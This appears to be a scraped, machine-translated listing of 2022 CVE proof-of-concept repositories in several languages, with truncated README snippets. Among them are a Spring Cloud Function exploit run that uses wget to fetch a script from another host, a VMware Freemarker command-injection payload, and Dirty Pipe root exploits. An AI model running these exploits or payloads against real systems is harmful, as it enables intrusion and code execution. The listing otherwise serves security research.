CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE Exploit Dies ist eine Python-Implementierung von Spring4Shell, CVE-2022-22963, die Dienste betrifft, die Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed +...

system_bt_AOSP10_r33_CVE-2022-20229

फ्लोराइड ब्लूटूथ स्टैक AOSP पर बनाना और चलाना बस AOSP बनाएं - फ्लोराइड डिफ़ॉल्ट रूप से वहां है। Linux पर बनाना और चलाना Ubuntu के लिए निर्देश, 14.04 पर Clang 3.5.0 और 16.10 पर Clang 3.8.0 के साथ परीक्षण किया गया स्रोत डाउनलोड करें root@kitploit: mkdir /fluoride cd /fluoride git clone...

ATHDH_CVE_2022_24644

Ce depot n’a pas de fichier README...

SSE4-CVE-2022-22965

Spring Boot CVE-2022-22965 Docker PoC für CVE-2022-22965 mit Spring Boot Version 2.6.5 Erste Schritte 1. Führen Sie docker compose up --build aus, um die verwundbare Anwendung zu bauen und zu starten. 2. Führen Sie curl -H "Accept: text/html;"...

Dirty-Pipe-CVE-2022-0847-POCs

Dirty-Pipe-CVE-2022-0847-POCs Autor: Max Kellermann [email protected] Mitwirkender: Bl4sty https://twitter.com/bl4sty Eine neue Linux-Sicherheitslücke namens 'Dirty Pipe' erlaubt lokalen Benutzern, durch öffentlich verfügbare Exploits Root-Rechte zu erlangen. Heute hat der Sicherheitsforsche...

external_zlib_CVE-2022-37434

ZLIB DATENKOMPRESSIONSBIBLIOTHEK zlib 1.2.8 ist eine universelle Datenkompressionsbibliothek. Der gesamte Code ist threadsicher. Das von der zlib-Bibliothek verwendete Datenformat wird in den RFCs Request for Comments 1950 bis 1952 in den Dateien http://tools.ietf.org/html/rfc1950 zlib-Format,...

linux-4.1.15_CVE-2022-3564

Linux-Kernel, Version 4.x http://kernel.org/ Dies sind die Versionshinweise für Linux Version 4. Lesen Sie sie sorgfältig, da sie erklären, worum es geht, wie der Kernel installiert wird, und was zu tun ist, wenn etwas schiefgeht. WAS IST LINUX? Linux ist ein Klon des Betriebssystems Unix, der vo...

external_expat_AOSP10_r33_CVE-2022-25236

Expat, Version 2.2.6 Dies ist Expat, eine C-Bibliothek zum Parsen von XML, die 1997 von James Clark gestartet wurde. Expat ist ein stromorientierter XML-Parser. Das bedeutet, dass Sie beim Parser Handler registrieren, bevor Sie mit dem Parsen beginnen. Diese Handler werden aufgerufen, wenn der...

external_expat_AOSP10_r33_CVE-2022-23852

Expat, Version 2.2.6 Dies ist Expat, eine C-Bibliothek zum Parsen von XML, die 1997 von James Clark begonnen wurde. Expat ist ein stromorientierter XML-Parser. Das bedeutet, dass Sie vor dem Start des Parsens Handler beim Parser registrieren. Diese Handler werden aufgerufen, wenn der Parser die...

linux-4.1.15_CVE-2022-45934

Version 4.x du noyau Linux http://kernel.org/ Ceci est la note de version pour Linux version 4. Lisez-la attentivement, car elle vous explique de quoi il s'agit, comment installer le noyau, et que faire si quelque chose ne va pas. QU'EST-CE QUE LINUX ? Linux est un clone du système d'exploitation...

packages_apps_Settings_AOSP_10_r33_CVE-2022-20360

Este repositorio nao tem um README...

CVE-2022-40146

Dieses Repository hat keine README-Datei...

CVE-2022-37122-Exploit

CVE-2022-37122 경로 탐색 스캐너 Carel pCOWeb logdownload.cgi 경로 탐색 취약점CVE-2022-37122을 감지하기 위한 강력하고 기능이 풍부한 스캐너입니다. 보안 연구원과 공인된 침투 테스터를 위해 설계되었습니다. 🚨 중요 공지 교육 및 버그 바운티 전용 이 도구는 다음 용도로 사용됩니다: 교육 목적 공인된 보안 테스트 명시적 허가를 받은 버그 바운티 헌팅 절대 자신이 소유하지 않거나 명시적인 서면 허가 없이 테스트할 시스템에 이 도구를 사용하지 마십시오. ✨ 기능 🎯 안전한 기본 페이로드 ...

Linux-Kernel-Dirty-Pipe-Exploitation-Logic-Bug-

लिनक्स कर्नेल डर्टी पाइप शोषण लॉजिक बग द्वारा: एंटोनियस w1sdom https://www.bluedragonsec.com https://github.com/bluedragonsecurity डर्टी पाइप CVE-2022-0847 लिनक्स कर्नेल 5.8 – 5.15.24 में सबसे महत्वपूर्ण सुरक्षा कमजोरियों में से एक है, जिसे 2022 में मैक्स केलरमैन ने खोजा था। यह कमजोरी सामान्य...

CVE-2022-46164-poc

CVE-2022-46164-poc CVE-2022-46164에 대한 기본 POC 익스플로잇...

VMware-CVE-2022-22954-Command-Injector

VMware-CVE-2022-22954-Command-Injector VMware CVE-2022-22954 악용을 위한 개념 증명Proof of Concept 작동 방식 이 간단한 Python 스크립트는 지정된 URL에 /catalog-portal/ui/oauth/verify?error=&deviceUdid=를 추가한 뒤, 그 다음에 다음 문자열의 URL 인코딩 버전을 붙여 GET 요청을 보냅니다: root@kitploit: $"freemarker.template.utility.Execute"?new"command" 예를 들...

CVE-2022-22720

此存储库没有 README。...

CVE-2022-42889

Este repositorio nao tem um README...

CVE-2022-22947-exp

CVE-2022-22947-exp Reproduzi a vulnerabilidade CVE-2022-22947 e escrevi um exploit para ela Depois, com base no artigo de um especialista, escrevi um exploit para injeção de cavalo de memória, apenas para referência...

CVE-2022-40684

CVE-2022-40684 CVE-2022-40684 - प्रमाणीकरण बाईपास, एडमिन उपयोगकर्ता और LDAP कॉन्फ़िग निकालें - यह PoC केवल पढ़ने की क्रियाएं करता है। एक्सप्लॉयट चलाएं root@kitploit: USE: python3 exploit.py https://target.com Ex: python3 exploit.py https://target.com न्यूक्ली टेम्पलेट चलाएं root@kitploit: echo...